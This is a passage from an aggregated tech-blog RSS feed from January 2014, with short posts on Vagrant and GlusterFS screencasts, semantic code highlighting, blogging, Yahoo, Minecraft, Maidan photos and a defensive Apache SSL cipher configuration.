&lt;p&gt;If recommend first reading my earlier articles if you&amp;rsquo;re planning on following along:&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;
		&lt;blockquote&gt;&lt;a href="https://purpleidea.com/blog/2013/12/09/vagrant-on-fedora-with-libvirt/"&gt;Vagrant on Fedora with libvirt&lt;/a&gt;&lt;/blockquote&gt;
	&lt;/li&gt;
	&lt;li&gt;
		&lt;blockquote&gt;&lt;a href="https://purpleidea.com/blog/2013/12/21/vagrant-vsftp-and-other-tricks/"&gt;Vagrant vsftp and other tricks&lt;/a&gt;&lt;/blockquote&gt;
	&lt;/li&gt;
	&lt;li&gt;
		&lt;blockquote&gt;&lt;a href="https://purpleidea.com/blog/2014/01/02/vagrant-clustered-ssh-and-screen/"&gt;Vagrant clustered SSH and 'screen'&lt;/a&gt;&lt;/blockquote&gt;
	&lt;/li&gt;
	&lt;li&gt;
		&lt;blockquote&gt;&lt;a href="https://purpleidea.com/blog/2014/01/08/automatically-deploying-glusterfs-with-puppet-gluster-vagrant/"&gt;Automatically deploying GlusterFS with Puppet-Gluster + Vagrant!&lt;/a&gt;&lt;/blockquote&gt;
	&lt;/li&gt;
&lt;/ul&gt;
Without any further delay, here are the screencasts:
&lt;p&gt;&lt;strong&gt;Part 1:&lt;/strong&gt; &lt;a href="https://dl.fedoraproject.org/pub/alt/purpleidea/screencasts/puppet-gluster-screencast.part1.ogv"&gt;Intro, and provisioning of the Puppet server.&lt;/a&gt;&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 27 Jan 2014 18:13:10 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/01/27/screencasts-of-puppet-gluster-vagrant/</guid></item><item><title>Coding in color</title><link>https://medium.com/programming-ideas-tutorial-and-experience/3a6db2743a1e</link><description>&lt;p&gt;I spend quite a bit of time writing Python in Sublime Text, navigating documents whose line counts range from ten to five hundred. System variables&amp;#160;&amp;#8212;&amp;#160;&amp;#8220;False&amp;#8221;, &amp;#8220;&lt;code&gt;s&amp;#8221;, &amp;#8220;&lt;/code&gt;Y&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;and integers render in purple, strings in yellow, flow control statements&amp;#160;&amp;#8212;&amp;#160;&amp;#8220;for&amp;#8221;, &amp;#8220;while&amp;#8221;, &amp;#8220;if&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;in red, and built-in functions&amp;#160;&amp;#8212;&amp;#160;&amp;#8220;open&amp;#8221;, &amp;#8220;sorted&amp;#8221;, &amp;#8220;len&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;all display with an electric blue tint. These keywords only make up a small portion of my scripts, however; for the rest, I dig through line upon line of white variable names and regular expression operations. So when I saw this article from Evan Brooks on coding in color&amp;#160;&amp;#8212;&amp;#160;essentially, implementing &lt;a href="http://zwabel.wordpress.com/2009/01/08/c-ide-evolution-from-syntax-highlighting-to-semantic-highlighting/"&gt;semantic highlighting rather than syntax highlighting&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;I could immediately realize the practical application of the former over the latter. Unfortunately, given the way semantic versus syntax highlighting works though, few editors support it natively.&lt;/p&gt;


                &lt;p&gt;&lt;a href="https://medium.com/programming-ideas-tutorial-and-experience/3a6db2743a1e"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 27 Jan 2014 10:45:29 GMT</pubDate><guid isPermaLink="true">https://medium.com/programming-ideas-tutorial-and-experience/3a6db2743a1e</guid></item><item><title>A programmer’s legacy</title><link>https://nicolaiarocci.com/a-programmers-legacy/</link><description>&lt;p&gt;This is a subject I’ve been pondering on for a while.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I think we all have an urge to mark our stamp on this world, to graffiti ‘I was here–don’t forget me’. Yet, as a programmer, where is my legacy?&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://blog.alexmaccaw.com/a-programmers-legacy"&gt;A programmer’s legacy&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 27 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/a-programmers-legacy/</guid></item><item><title>Pro Git Workflow</title><link>https://nicolaiarocci.com/pro-git-workflow/</link><description>&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Pro Git Workflow&lt;!-- raw HTML omitted --&gt; is an interesting collection of Git shortcuts, aliases and workflows. Nothing really new but give it a shot if you want to improve your git-fu beyond basics.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 27 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/pro-git-workflow/</guid></item><item><title>Bug Analysis: Some Checkboxes Get Myseriously Deselected Some of the Time</title><link>https://www.databasesandlife.com/2-of-30/</link><description>&lt;p&gt;How would you diagnose the following bug?&lt;/p&gt;
&lt;ul class="tight"&gt;
  &lt;li&gt;
    A number of checkboxes representing user interests (Football? Music?); user can select/deselect their interests.
  &lt;/li&gt;
  &lt;li&gt;
    Software has worked well for years in production.
  &lt;/li&gt;
  &lt;li&gt;
    Suddenly intermittent reports start coming in that sometimes some checkboxes get unchecked by themselves.
  &lt;/li&gt;
  &lt;li&gt;
    You test live, you test on the test server, all is good. But the reports keep on coming, leading you to suspect that it isn't just user foolishness (e.g. not understanding how to use a checkbox, which I wouldn't normally put past users..)
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This happened at Uboot around 2005.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Mon, 27 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/2-of-30/</guid></item><item><title>newest</title><link>https://www.databasesandlife.com/newest/</link><description>&lt;p&gt;/* So that /newest section exists, so that list template will be used for /newest URL */&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Mon, 27 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/newest/</guid></item><item><title>The Beckoning</title><link>https://honestmusings.wordpress.com/2014/01/26/the-beckoning/</link><description>&amp;#8220;Shillo&amp;#8221;, &amp;#8220;Shil-lo is what my friends call me&amp;#8221;. &amp;#8220;O wow, that&amp;#8217;s a beautiful name. Incidentally we are also in Shillong. Did your parents love Shillong so much that they named you after it? Though, I don&amp;#8217;t question the beauty of either.&amp;#8221; &amp;#8220;May be. May be&amp;#8221;, she smiled. &amp;#8220;Or maybe that&amp;#8217;s a fake name you tell &amp;#8230; &lt;a class="more-link" href="https://honestmusings.wordpress.com/2014/01/26/the-beckoning/"&gt;Continue reading &lt;span class="screen-reader-text"&gt;The Beckoning&lt;/span&gt;&lt;/a&gt;</description><author>Honest Musings</author><pubDate>Sun, 26 Jan 2014 21:00:48 GMT</pubDate><guid isPermaLink="true">https://honestmusings.wordpress.com/2014/01/26/the-beckoning/</guid></item><item><title>Open Office Hours Tuesday at Scrib</title><link>https://peterlyons.com/problog/2014/01/open-office-hours-tuesday-at-scrib/</link><description>&lt;p&gt;I'll be holding open office hours all day this Tuesday January 28th at the Scrib coworking space on Broadway near Spruce (basement level in office building where Unseen Bean is). I'm a full-stack web developer and veteran software developer, these days specializing in node.js and JavaScript. Come by for a code review, Q&amp;amp;A on node.js as a technology platform choice, pair programming, a plain-English explanation of what the heck a session cookie is, or however I can help you out. Non-technical folks - don't be shy; I think I'm pretty good at explaining technology in plain English terms and analogies.&lt;/p&gt;
&lt;p&gt;Email me to reserve a time slot of just swing by first come, first served.&lt;/p&gt;
&lt;p&gt;&lt;a href="mailto:pete@peterlyons.com"&gt;pete@peterlyons.com&lt;/a&gt;&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Sun, 26 Jan 2014 20:57:27 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2014/01/open-office-hours-tuesday-at-scrib/</guid></item><item><title>Global Game Jam 2014 in Stockholm (#GGJ14/#GGJSthlm)</title><link>https://liza.io/global-game-jam-2014-in-stockholm-%23ggj14/%23ggjsthlm/</link><description>&lt;p&gt;My first ever Global Game Jam was actually &lt;em&gt;the&lt;/em&gt; first ever Global Game Jam (2009), in Perth, Western Australia. I&amp;rsquo;d been working at Interzone Games at the time and knew many people who would be participating. I think we were a group of 6 people and I did (bad) art for a game we called &lt;em&gt;Little Shop of Farters&lt;/em&gt;.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 26 Jan 2014 16:29:18 GMT</pubDate><guid isPermaLink="true">https://liza.io/global-game-jam-2014-in-stockholm-%23ggj14/%23ggjsthlm/</guid></item><item><title>The Second Web Conglomerate</title><link>https://zacs.site/blog/the-second-web-comglomerate.html</link><description>&lt;p&gt;Rather than asking &amp;#8220;&lt;a href="http://harshilshah1910.wordpress.com/2014/01/25/yahoo-marissa-mayer-techpinions/"&gt;Is Yahoo Even Worth Trying To Save?&lt;/a&gt;&amp;#8221;, a more apropos question would ask not if Yahoo! was worth rescuing, but instead if Marissa Mayer&amp;#160;&amp;#8212;&amp;#160;or anyone, for that matter&amp;#160;&amp;#8212;&amp;#160;&lt;em&gt;could&lt;/em&gt; actually keep the company afloat, for to operate under the assumptions imposed by the latter would be to approach this issue from the wrong direction entirely. As Harshil Shah points out in his aforecited article, Steve Jobs managed a drastic course correction of the caliber needed at Yahoo! when he made his triumphant return after the floundering Apple purchased NeXT. With that notable exception, no one else in recent history has successfully conducted such a significant change. To use that anomalous revival in support of the argument that Marissa Mayer could, if her company warranted salvation, save Yahoo!, however, does not take into account the very distinct differences between Apple of the late 1990s and the Yahoo! of today.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-second-web-comglomerate.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 26 Jan 2014 14:03:30 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-second-web-comglomerate.html</guid></item><item><title>Hey, Look At Me, Bigtime Bloggers</title><link>http://crateofpenguins.com/blog/hey-look-at-me-bigtime-bloggers</link><description>&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;You can&amp;#8217;t just do good work, you have to cultivate relationships and promote what you&amp;#8217;ve done. That is, if your goal is for more people to read and enjoy your stuff.&amp;#8221;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://zacs.site/blog/community.html"&gt;Exactly&lt;/a&gt;. The Typist made a good point &lt;a href="http://thetypist.com/361/hey-look-bigtime-bloggers/"&gt;when responding to Sid&amp;#8217;s article&lt;/a&gt;, saying, &amp;#8220;People who have made it rarely admit the role randomness played in their journeys.&amp;#8221; It&amp;#8217;s a racket, this whole blogging thing, but we still wake up and do it every day instead of getting that extra hour of sleep, or going out with friends, or sitting down to watch that movie with the family. I got lucky when Jim Dalrymple &lt;a href="http://www.loopinsight.com/2014/01/07/rethinking-web-site-monetization/"&gt;linked&lt;/a&gt; to one of my articles earlier this month, and I have done my best to take advantage of that influx in attention ever since. I know good content played a part in that fortunate happenstance, but I also realize luck did as well, and that without the friends I have made as a result of them finding and enjoying my site, Jim&amp;#8217;s link would have made for nothing more than a single spike and then nothing.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://crateofpenguins.com/blog/hey-look-at-me-bigtime-bloggers"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 26 Jan 2014 08:40:54 GMT</pubDate><guid isPermaLink="true">http://crateofpenguins.com/blog/hey-look-at-me-bigtime-bloggers</guid></item><item><title/><link>https://avodonosov.blogspot.com/2014/01/blog-post_25.html</link><description>&lt;p&gt;Какие похожие картинки. Очень надеюсь, что до похожего результата дело не дойдет.&lt;/p&gt;

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk7Fvb3QFTWjSRo3z5khJeMB4sGbocSH1Gk4e5cxGdZ0PKUg2pWEBKlBk_sKZoulu_jwobZuzLPdOrEeNhJhqPn40Jp1Rybz47opgh23l7MYmag0ooJFEz0RVjJct1gvRqUm7GUeZNaU2Z/s1600/evromaydan_490_310.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk7Fvb3QFTWjSRo3z5khJeMB4sGbocSH1Gk4e5cxGdZ0PKUg2pWEBKlBk_sKZoulu_jwobZuzLPdOrEeNhJhqPn40Jp1Rybz47opgh23l7MYmag0ooJFEz0RVjJct1gvRqUm7GUeZNaU2Z/s320/evromaydan_490_310.jpg" /&gt;&lt;/a&gt;

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4gvw9EhXmxowv16cU4kP5czjk1lvxBXsHCpZ1vC9jQdGbRxNqaga1z7m9DrAFdNmUV0N3uUJLdEd6y56eL4qfZ07G1subqCqRcgfxBmBljNcMQiNaRkn40jUPP9xJjs8IxQTfmpVDjjEe/s1600/8A2EC7EE-9D63-4133-9AA5-89EB8C08BD81_w640_r1_s.jpg"&gt;
&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4gvw9EhXmxowv16cU4kP5czjk1lvxBXsHCpZ1vC9jQdGbRxNqaga1z7m9DrAFdNmUV0N3uUJLdEd6y56eL4qfZ07G1subqCqRcgfxBmBljNcMQiNaRkn40jUPP9xJjs8IxQTfmpVDjjEe/s320/8A2EC7EE-9D63-4133-9AA5-89EB8C08BD81_w640_r1_s.jpg" /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzBibwGx_9UHHeDo3dd6ochuPNzUW0NFsl7YXCdL8eBEsHLddajB8Wk1oQmDuCL8YibAKh8IYnsV2PLlpJqRbDL41FTTTda0XHV-QEItDEd4eCva_tBqwfJ8zymf-VzzAkOhaU5S57vd1x/s1600/image15887895_514c695caa32677c9f7e7dd5f2c25012.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzBibwGx_9UHHeDo3dd6ochuPNzUW0NFsl7YXCdL8eBEsHLddajB8Wk1oQmDuCL8YibAKh8IYnsV2PLlpJqRbDL41FTTTda0XHV-QEItDEd4eCva_tBqwfJ8zymf-VzzAkOhaU5S57vd1x/s320/image15887895_514c695caa32677c9f7e7dd5f2c25012.jpg" /&gt;&lt;/a&gt;

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg70JO8kghDxk2OnxFHJ-fxBWL0rToSDqxFwfSiQz5lr_t1_2FWgax_tsijlD3cPMIJ1e3zAmGVWn2oI3XHMvuykiVKm2hbjPyfkmFQZ7LC9n2YwbSLBJ7YeMcrhVb2UrlJUdM0LaVhHkF0/s1600/kiev_19-20_01_201402+%25282%2529.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg70JO8kghDxk2OnxFHJ-fxBWL0rToSDqxFwfSiQz5lr_t1_2FWgax_tsijlD3cPMIJ1e3zAmGVWn2oI3XHMvuykiVKm2hbjPyfkmFQZ7LC9n2YwbSLBJ7YeMcrhVb2UrlJUdM0LaVhHkF0/s320/kiev_19-20_01_201402+%25282%2529.jpg" /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUiwYHwMKs3BqiwVn5AU1snlchHARJWvsrFu_Xi0Ve8tywIb87T6AMPmSFakxE8DY4nj9U1EUSjbfXuGzrQ_iIMWuTyU9b7nXqxRuEUMqH97OEazkoQMtsGPHOWFN1sauJWGtO8MEM2uZW/s1600/1386900422_kiev_lenin_640.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUiwYHwMKs3BqiwVn5AU1snlchHARJWvsrFu_Xi0Ve8tywIb87T6AMPmSFakxE8DY4nj9U1EUSjbfXuGzrQ_iIMWuTyU9b7nXqxRuEUMqH97OEazkoQMtsGPHOWFN1sauJWGtO8MEM2uZW/s320/1386900422_kiev_lenin_640.jpg" /&gt;&lt;/a&gt;

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGSiKDMcBhzqG0khypBe7FdDoSRwwrN-9uLG9p13oU0ztQeGxeGSRSYoQ2ledrs6LiC2Qf03DIH-cv0RxcxEuu1PzKnYKojgTP2JHxdPMFnXJvaRHf-BD-NR0cIe-QC4Gtbp-0_Cnh_sQ0/s1600/rtx17mxv.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGSiKDMcBhzqG0khypBe7FdDoSRwwrN-9uLG9p13oU0ztQeGxeGSRSYoQ2ledrs6LiC2Qf03DIH-cv0RxcxEuu1PzKnYKojgTP2JHxdPMFnXJvaRHf-BD-NR0cIe-QC4Gtbp-0_Cnh_sQ0/s320/rtx17mxv.jpg" /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdLSupO1iuA74HhlYL406ApCWCdidaK7p8xHkVxao7CsZ2Oj2tidctRiRkEHfQZbEhUxZFr_ongfZt0Hkk78IXOdNCGhZD3_pYV5owTQI1HZj1KpHGxw3-fRRs_trwukd9BDQD5FmcZ3n_/s1600/kiev_ukraine_23012014_2.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdLSupO1iuA74HhlYL406ApCWCdidaK7p8xHkVxao7CsZ2Oj2tidctRiRkEHfQZbEhUxZFr_ongfZt0Hkk78IXOdNCGhZD3_pYV5owTQI1HZj1KpHGxw3-fRRs_trwukd9BDQD5FmcZ3n_/s320/kiev_ukraine_23012014_2.jpg" /&gt;&lt;/a&gt;

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_3uBNq9j2NLiXYmU70BO5twzCMsDM5L4StvjsoLTEKpp2_T6FP2eyir7yLg3Z4JTgKUCfcEhWkJApGiSmO7klM7VAsWCxqp9FkDPc18fRaME3AraFaEiqM3FbkJ2D8lStVeQU2bH_ekXl/s1600/%25D0%2595%25D0%25B2%25D1%2580%25D0%25BE%25D0%25BC%25D0%25B0%25D0%25B9%25D0%25B4%25D0%25B0%25D0%25BD-%25D1%2583%25D0%25BA%25D1%2580%25D0%25B0%25D0%25B8%25D0%25BD%25D0%25B0-Scorpion-stalker-972865.jpeg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_3uBNq9j2NLiXYmU70BO5twzCMsDM5L4StvjsoLTEKpp2_T6FP2eyir7yLg3Z4JTgKUCfcEhWkJApGiSmO7klM7VAsWCxqp9FkDPc18fRaME3AraFaEiqM3FbkJ2D8lStVeQU2bH_ekXl/s320/%25D0%2595%25D0%25B2%25D1%2580%25D0%25BE%25D0%25BC%25D0%25B0%25D0%25B9%25D0%25B4%25D0%25B0%25D0%25BD-%25D1%2583%25D0%25BA%25D1%2580%25D0%25B0%25D0%25B8%25D0%25BD%25D0%25B0-Scorpion-stalker-972865.jpeg" /&gt;&lt;/a&gt;
&lt;br /&gt;

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSghhcumVnPd2EuYnLebobtdivAzqc1Gd5tiAxNh_g9Qq9xVa9fUjuGesNk06SwHyybeMEGuKTYrWTMsE5S45GzvSXJYMnWh8Z-onVhaLm164vcRBAeQyQB2AA2Hm9Jt7ER9qYU5Q-zpLb/s1600/ukraine_24012014_001.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSghhcumVnPd2EuYnLebobtdivAzqc1Gd5tiAxNh_g9Qq9xVa9fUjuGesNk06SwHyybeMEGuKTYrWTMsE5S45GzvSXJYMnWh8Z-onVhaLm164vcRBAeQyQB2AA2Hm9Jt7ER9qYU5Q-zpLb/s320/ukraine_24012014_001.jpg" /&gt;&lt;/a&gt;

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0kDC63sWUezw7S2q_uEx-DKIvVoGWV3twAywDCzCAAIk3CcfTiHPixB7uCWLB3kJ3gCIFhkEnMxZea91luhBgJlV_gropl7i5YISy1WeoXXTFk57W0IJhy1Ae85U-3GJd3CL8bovozQl/s1600/barrikada_kiev_ulica_institutskaya.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0kDC63sWUezw7S2q_uEx-DKIvVoGWV3twAywDCzCAAIk3CcfTiHPixB7uCWLB3kJ3gCIFhkEnMxZea91luhBgJlV_gropl7i5YISy1WeoXXTFk57W0IJhy1Ae85U-3GJd3CL8bovozQl/s320/barrikada_kiev_ulica_institutskaya.jpg" /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA9EXn62_d4BljbL0V-0cyRCI624Wdn8d79ne4SzjLapmeqRsCDv_CnQC1aVr-zDO63caMxpnKLOkjskjeQ8L_QpWfctTtcjE5z8Jy8cfunWLDw5hLQ7dTp4Go0qy0G-hQjlLFUB1TpalR/s1600/ukraine_22012014_20.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA9EXn62_d4BljbL0V-0cyRCI624Wdn8d79ne4SzjLapmeqRsCDv_CnQC1aVr-zDO63caMxpnKLOkjskjeQ8L_QpWfctTtcjE5z8Jy8cfunWLDw5hLQ7dTp4Go0qy0G-hQjlLFUB1TpalR/s320/ukraine_22012014_20.jpg" /&gt;&lt;/a&gt;

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggvQM838m-MkjyueRkUb6ouri6tSVp24BsYb8MI6rdCaY33SEXX3z-sJUVHmg4umXAUIFMQp4_YXqfw4CG36H0svf5xt0klqFoin4XeVyG9mw2VQtZk4S8gbCKu6gMmkj7L8UWOtWzqvyU/s1600/ukraine_22012014_01.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggvQM838m-MkjyueRkUb6ouri6tSVp24BsYb8MI6rdCaY33SEXX3z-sJUVHmg4umXAUIFMQp4_YXqfw4CG36H0svf5xt0klqFoin4XeVyG9mw2VQtZk4S8gbCKu6gMmkj7L8UWOtWzqvyU/s320/ukraine_22012014_01.jpg" /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiA1GFZx2XhNultZkjvPLM3DBkaBngYgAKDKqjIT3WKwmRS2j51bX5MQtV0FMW7DGtONAXxPxtervaypHbNyNG8_4xgO18k_5otRErTlrjvtDdXONdYdA7VPSIpUb_DPi0HsyNmHnasWUt/s1600/zam_tutby_phsl_maydan_grushevskogo_12.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiA1GFZx2XhNultZkjvPLM3DBkaBngYgAKDKqjIT3WKwmRS2j51bX5MQtV0FMW7DGtONAXxPxtervaypHbNyNG8_4xgO18k_5otRErTlrjvtDdXONdYdA7VPSIpUb_DPi0HsyNmHnasWUt/s320/zam_tutby_phsl_maydan_grushevskogo_12.jpg" /&gt;&lt;/a&gt;

&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgACBb9WWmiXs2imsZ4eTcxEWTY2z7-xf5AbJLVDBG6DV7ox7fVOt1rwqUFI_05VVVGYFe-478pK6f9wLnFwUXlUvBIDJQeRUZ8WxyyKaj8qbZzVLD2E7Khk_u_GtwfSoxrnBbxSMcrJZay/s1600/ukraine_22012014_19.jpg"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgACBb9WWmiXs2imsZ4eTcxEWTY2z7-xf5AbJLVDBG6DV7ox7fVOt1rwqUFI_05VVVGYFe-478pK6f9wLnFwUXlUvBIDJQeRUZ8WxyyKaj8qbZzVLD2E7Khk_u_GtwfSoxrnBbxSMcrJZay/s320/ukraine_22012014_19.jpg" /&gt;&lt;/a&gt;</description><author>blog</author><pubDate>Sun, 26 Jan 2014 03:30:44 GMT</pubDate><guid isPermaLink="true">https://avodonosov.blogspot.com/2014/01/blog-post_25.html</guid></item><item><title>Loving Your Livelihood</title><link>http://www.newyorker.com/online/blogs/elements/2014/01/a-journey-to-the-end-of-the-world-of-minecraft.html</link><description>&lt;p&gt;One day Kurt J. Mac decided to walk to the edge of Minecraft. Three years later he has turned what many would call a trivial pursuit into a viable revenue stream, allowing him to quit his job and take this journey full-time after identifying a way to distinguish his work and support himself thanks to the popularity of the videos he creates. His approach should sound familiar: almost everyone in the independent writer bubble&amp;#160;&amp;#8212;&amp;#160;those fortunate enough to do this for a living and the people who follow them&amp;#160;&amp;#8212;&amp;#160;seeks to accomplish this very goal at some point in their lives. Especially coming from an industry traditionally antithetical to this one, the similarities in approaches to fulfilling this dream are interesting.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.newyorker.com/online/blogs/elements/2014/01/a-journey-to-the-end-of-the-world-of-minecraft.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 25 Jan 2014 23:46:39 GMT</pubDate><guid isPermaLink="true">http://www.newyorker.com/online/blogs/elements/2014/01/a-journey-to-the-end-of-the-world-of-minecraft.html</guid></item><item><title>A better SSL configuration for Apache 2</title><link>https://bastian.rieck.me/blog/2014/better_ssl_apache/</link><description>&lt;p&gt;RC4 with TLS has been broken &lt;a href="http://blog.cryptographyengineering.com/2013/03/attack-of-week-rc4-is-kind-of-broken-in.html"&gt;for quite some time
now&lt;/a&gt;,
but I did not yet manage to make the switch. Having a little time on my hands, I decided to
future-proof my Apache configuration.&lt;/p&gt;
&lt;p&gt;Basically, what I want to do is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disable ciphers for SSL that have known weaknesses. RC4, I am looking at you. DES, yes, you are
meant as well. This includes ciphers that are marked &lt;code&gt;EXPORT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use TLS 1.2 instead of the older versions.&lt;/li&gt;
&lt;li&gt;Enable &lt;a href="https://en.wikipedia.org/wiki/Perfect_forward_secrecy"&gt;&amp;ldquo;Perfect forward secrecy&amp;rdquo;&lt;/a&gt; to annoy the NSA.
Yes, &lt;a href="http://www.informationweek.com/security/risk-management/want-nsa-attention-use-encrypted-communications/d/d-id/1110475?"&gt;using encryption might make you a
target&lt;/a&gt;.
They also admitted to storing encrypted session data with the express purpose of maybe being able
to decrypt it after obtaining the private key of the server. Good luck with that.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It took me a while to collate the necessary information, but I finally managed to arrive at the
following configuration for Apache:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SSLProtocol all -SSLv2 -SSLv3
SSLHonorCipherOrder On
SSLCipherSuite ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5:!DSS
SSLCompression Off
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately, &lt;code&gt;squeeze&lt;/code&gt; does not ship with OpenSSL 1.0 and Apache 2.4,
which means that not all ciphers are currently supported. Thus, perfect
forward secrecy will only work with a few choice browsers, but at least
the configuration is better than it was before.&lt;/p&gt;
&lt;p&gt;Some references which proved very helpful:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers"&gt;Hynek Schlawack&amp;rsquo;s notes on hardening SSL ciphers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://httpd.apache.org/docs/current/mod/mod_ssl.html"&gt;The Apache documentation for &lt;code&gt;mod_ssl&lt;/code&gt;&lt;/a&gt;. I am liking to the most recent version altough my server does not support it yet.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://security.stackexchange.com/questions/8529/which-ssl-tls-ciphers-can-be-considered-secure"&gt;An interesting discussion on Information Security Stack Exchange&lt;/a&gt;. Thomas Pornin&amp;rsquo;s answer was very detailed.&lt;/li&gt;
&lt;/ul&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sat, 25 Jan 2014 23:46:38 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/better_ssl_apache/</guid></item><item><title>Ignorance</title><link>http://ben-evans.com/benedictevans/2014/1/23/the-limits-of-knowledge</link><description>&lt;p&gt;Interesting article from Benedict Evans talking about the difficulty of fully understanding even one aspect of the internet or the mobile device industry. Unfortunately, all too many not only fail to accept this, but operate under the assumption that they do, in fact, have a comprehensive grasp of multiple topics on a wide range of subjects. This erroneous thinking has a significant impact on the formation of many tech writers&amp;#8217; opinions and thus their work as well, and not for the better. Ironically, as Benedict pointed out, it also leads to some of the greatest innovations when creating actual products. Without the restrictions imposed by preconceived notions regarding what will and will not work, it&amp;#8217;s no wonder it takes a certain degree of cluelessness to attain greatness.&lt;/p&gt;


